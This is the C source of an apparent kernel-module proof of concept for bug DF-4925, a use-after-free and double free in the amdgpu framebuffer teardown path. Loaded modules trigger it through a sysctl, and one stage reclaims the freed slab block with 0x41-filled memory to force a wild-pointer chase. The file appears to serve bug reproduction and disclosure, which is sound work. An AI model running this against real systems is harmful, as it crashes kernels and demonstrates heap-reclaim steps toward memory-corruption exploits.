DF-4925 / amdfbuaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | /* * DF-4925 PoC โ amdgpu_fbdev_init() failure leaves adev->mode_info.rfbdev * dangling (twin of DF-4914 / radeon_fb); the standard teardown * amdgpu_fbdev_fini() (amdgpu_device_fini: driver unload / device unplug / * reboot) then operates on freed memory and double-kfrees it * (amdgpu_fb.c:387-395 -> amdgpu_fbdev_destroy:321-336 -> kfree:393). * * All teardown code driven below (amdgpu_fbdev_fini -> amdgpu_fbdev_destroy * -> drm_fb_helper_unregister_fbi / amdgpufb_destroy_pinned_object / * drm_fb_helper_fini) is the REAL production code from the loaded amdgpu.ko * module (stock /boot/kernel/amdgpu.ko, no AMD GPU present or required). * * Trigger reality note: on real hardware amdgpu_fbdev_init() fails through * drm_fb_helper_init()/-ENOMEM (three fallible kcallocs, * drm_fb_helper.c:871/876/884) under memory pressure at driver load, and * amdgpu_device_init() IGNORES the failure entirely (amdgpu_device.c:2662 * `amdgpu_fbdev_init(adev);` โ return value discarded), so the driver * carries the dangling adev->mode_info.rfbdev until teardown; the deferred * consumers are amdgpu_fbdev_fini (amdgpu_device.c:2744) and * amdgpu_fbdev_robj_is_fb (amdgpu_device.c:2847, called during suspend/ * eviction). On the no-GPU QEMU guest a graceful live failure cannot be * produced (the allocators only fail catastrophically), so stage 1 injects * EXACTLY the state a failed amdgpu_fbdev_init leaves behind โ the four * statements of amdgpu_fb.c:360-368 (kzalloc rfbdev, rfbdev->adev, store * to adev->mode_info.rfbdev, drm_fb_helper_prepare) followed by the error * path of :372-374 (kfree(rfbdev) with NO clearing of * adev->mode_info.rfbdev). * * Stages (write to sysctl hw.amdfbuaf): * 1: inject failed-init state; print the dangling adev->mode_info.rfbdev * (non-NULL although the rfbdev was just kfree()d). No crash. * 2: stage 1 + amdgpu_fbdev_fini() -> UAF walk of the freed rfbdev and a * double kfree of it; expect kernel panic. * 3: stage 1 + reclaim the freed slab block with a 0x41-filled allocation * + amdgpu_fbdev_fini() -> amdgpu_fbdev_destroy follows * rfb.base.obj[0] = 0x4141414141414141 into * amdgpufb_destroy_pinned_object -> UAF wild pointer chase; expect * kernel panic. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/errno.h> #include <drm/drmP.h> #include <drm/drm_crtc.h> #include <drm/drm_fb_helper.h> #include "amdgpu.h" #include "amdgpu_mode.h" /* struct amdgpu_fbdev, amdgpu_fbdev_* decls */ static struct amdgpu_device *fake_adev; static struct drm_device *fake_ddev; static int poc_fb_probe(struct drm_fb_helper *helper, struct drm_fb_helper_surface_size *sizes) { return -ENOMEM; } static const struct drm_fb_helper_funcs poc_fb_helper_funcs = { .fb_probe = poc_fb_probe, }; static void setup_fakes(void) { if (fake_adev) return; fake_ddev = kzalloc(sizeof(*fake_ddev), GFP_KERNEL); fake_adev = kzalloc(sizeof(struct amdgpu_device), GFP_KERNEL); fake_adev->ddev = fake_ddev; /* adev->mode_info.rfbdev == NULL, everything else zeroed */ } /* * Reproduce the exact post-failure state of amdgpu_fbdev_init() * (amdgpu_fb.c:342-375 error path): * 360: rfbdev = kzalloc(sizeof(struct amdgpu_fbdev), GFP_KERNEL); * 364: rfbdev->adev = adev; * 365: adev->mode_info.rfbdev = rfbdev; <-- stored BEFORE any failure * 367: drm_fb_helper_prepare(adev->ddev, &rfbdev->helper, funcs); * 370: ret = drm_fb_helper_init(...) <-- FAILS (-ENOMEM) * 373: kfree(rfbdev); <-- NO NULL-clear of * adev->mode_info.rfbdev */ static int stage1(void) { struct amdgpu_fbdev *rfb; setup_fakes(); fake_adev->mode_info.rfbdev = NULL; /* fresh run */ rfb = kzalloc(sizeof(struct amdgpu_fbdev), GFP_KERNEL); /* :360 */ rfb->adev = fake_adev; /* :364 */ fake_adev->mode_info.rfbdev = rfb; /* :365 */ drm_fb_helper_prepare(fake_adev->ddev, &rfb->helper, &poc_fb_helper_funcs); /* :367 */ kfree(rfb); /* :373 โ mode_info.rfbdev DANGLING */ kprintf("DF-4925: injected failed-init state (amdgpu_fb.c:360-374):\n" " adev->mode_info.rfbdev = %p โ kfree()d block still recorded " "(dangling), sizeof(struct amdgpu_fbdev) = %zu\n", fake_adev->mode_info.rfbdev, sizeof(struct amdgpu_fbdev)); return (fake_adev->mode_info.rfbdev != NULL) ? 0 : -1; } static int sysctl_run(SYSCTL_HANDLER_ARGS) { int stage = 0, error; error = sysctl_handle_int(oidp, &stage, 0, req); if (error || req->newptr == NULL) return (error); switch (stage) { case 1: stage1(); break; case 2: if (stage1() != 0) { kprintf("DF-4925: stage1 precondition failed\n"); break; } kprintf("DF-4925: calling production amdgpu_fbdev_fini() " "(amdgpu_device_fini teardown, amdgpu_device.c:2744) on " "the dangling pointer...\n"); amdgpu_fbdev_fini(fake_adev); /* UAF walk + double kfree */ kprintf("DF-4925: fini returned (no panic?)\n"); break; case 3: { void *p = NULL; int i; if (stage1() != 0) { kprintf("DF-4925: stage1 precondition failed\n"); break; } for (i = 0; i < 64; i++) { p = kzalloc(sizeof(struct amdgpu_fbdev), GFP_KERNEL); if (p == (void *)fake_adev->mode_info.rfbdev) break; } kprintf("DF-4925: reclaim attempt: %p (dangling %p, %s)\n", p, fake_adev->mode_info.rfbdev, p == (void *)fake_adev->mode_info.rfbdev ? "RECLAIMED" : "miss"); if (p != (void *)fake_adev->mode_info.rfbdev) break; memset(p, 0x41, sizeof(struct amdgpu_fbdev)); ((struct amdgpu_fbdev *)p)->helper.fbdev = NULL; kprintf("DF-4925: reclaimed block 0x41-filled " "(rfb.base.obj[0]=0x4141414141414141); production fini -> " "amdgpufb_destroy_pinned_object wild chase\n"); amdgpu_fbdev_fini(fake_adev); /* UAF wild pointer chase */ kprintf("DF-4925: fini returned (no panic?)\n"); break; } default: kprintf("DF-4925: unknown stage %d (1=dangling, 2=double-free," " 3=reclaim+UAF)\n", stage); break; } return (0); } static int amdfbuaf_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: SYSCTL_ADD_OID(NULL, SYSCTL_STATIC_CHILDREN(_hw), OID_AUTO, "amdfbuaf", CTLTYPE_INT|CTLFLAG_RW, NULL, 0, sysctl_run, "I", "DF-4925 stage trigger (1/2/3)"); kprintf("DF-4925 PoC loaded; sysctl hw.amdfbuaf=1|2|3\n"); return 0; case MOD_UNLOAD: return 0; } return 0; } static moduledata_t amdfbuaf_mod = { "amdfbuaf", amdfbuaf_modevent, NULL }; DECLARE_MODULE(amdfbuaf, amdfbuaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(amdfbuaf, 1); |